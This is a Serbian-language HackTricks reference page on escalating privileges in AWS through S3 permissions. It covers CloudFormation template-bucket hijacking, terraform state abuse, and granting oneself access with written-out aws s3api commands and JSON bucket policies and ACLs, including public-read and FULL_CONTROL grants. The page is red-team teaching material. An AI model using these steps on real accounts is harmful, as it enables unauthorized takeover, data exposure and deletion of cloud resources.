AWS - S3 Privesc
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
S3
s3:PutBucketNotification
, s3:PutObject
, s3:GetObject
Napadač sa tim dozvolama nad zanimljivim kanticama može biti u mogućnosti da preuzme resurse i eskalira privilegije.
Na primer, napadač sa tim dozvolama nad cloudformation kanticom pod nazivom "cf-templates-nohnwfax6a6i-us-east-1" će moći da preuzme implementaciju. Pristup se može dati sledećom politikom:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}
I otmica je moguća jer postoji mali vremenski prozor od trenutka kada je šablon otpremljen u bucket do trenutka kada je šablon implementiran. Napadač može jednostavno kreirati lambda funkciju u svom nalogu koja će pokrenuti kada se pošalje obaveštenje iz bucketa, i oteti sadržaj tog bucketa.
Pacu modul cfn__resouce_injection
može se koristiti za automatizaciju ovog napada.
Za više informacija proverite originalno istraživanje: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/
s3:PutObject
, s3:GetObject
Ovo su dozvole za preuzimanje i otpremanje objekata na S3. Nekoliko usluga unutar AWS-a (i van njega) koristi S3 skladište za čuvanje konfiguracionih fajlova.
Napadač sa pristupom za čitanje može pronaći osetljive informacije u njima.
Napadač sa pristupom za pisanje mogao bi modifikovati podatke da bi zloupotrebio neku uslugu i pokušao da eskalira privilegije.
Evo nekoliko primera:
- Ako EC2 instanca čuva korisničke podatke u S3 bucket-u, napadač bi mogao da ih modifikuje da izvrši proizvoljan kod unutar EC2 instance.
s3:PutObject
, s3:GetObject
(opciono) preko terraform state fajla
Veoma je uobičajeno da se terraform state fajlovi čuvaju u blob skladištu provajdera u oblaku, npr. AWS S3. Sufiks fajla za state fajl je .tfstate
, a imena bucketa često takođe otkrivaju da sadrže terraform state fajlove. Obično, svaki AWS nalog ima jedan takav bucket za čuvanje state fajlova koji prikazuju stanje naloga. Takođe obično, u stvarnim nalozima gotovo uvek svi programeri imaju s3:*
, a ponekad čak i poslovni korisnici imaju s3:Put*
.
Dakle, ako imate dozvole navedene za ove fajlove, postoji vektorski napad koji vam omogućava da dobijete RCE u pipeline-u sa privilegijama terraform
- većinom AdministratorAccess
, čineći vas administratorom cloud naloga. Takođe, možete koristiti taj vektor za izvršenje napada uskraćivanja usluge tako što ćete naterati terraform
da obriše legitimne resurse.
Pratite opis u sekciji Zloupotreba Terraform State Fajlova na stranici Terraform Security za direktno upotrebljiv kod za eksploataciju:
s3:PutBucketPolicy
Napadač, koji mora biti iz istog naloga, inače će se aktivirati greška The specified method is not allowed
, sa ovom dozvolom će moći da sebi dodeli više dozvola nad bucket-ima, omogućavajući mu da čita, piše, modifikuje, briše i izlaže buckete.
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}
## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}
s3:GetBucketAcl
, s3:PutBucketAcl
Napadač bi mogao da zloupotrebi ove dozvole da dodeli sebi veći pristup određenim kanticama.
Imajte na umu da napadač ne mora biti iz istog naloga. Pored toga, pristup za pisanje
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl
, s3:PutObjectAcl
Napadač bi mogao da zloupotrebi ove dozvole da mu dodeli veći pristup određenim objektima unutar kanti.
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl
, s3:PutObjectVersionAcl
Napadač sa ovim privilegijama se očekuje da može da postavi Acl za određenu verziju objekta.
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.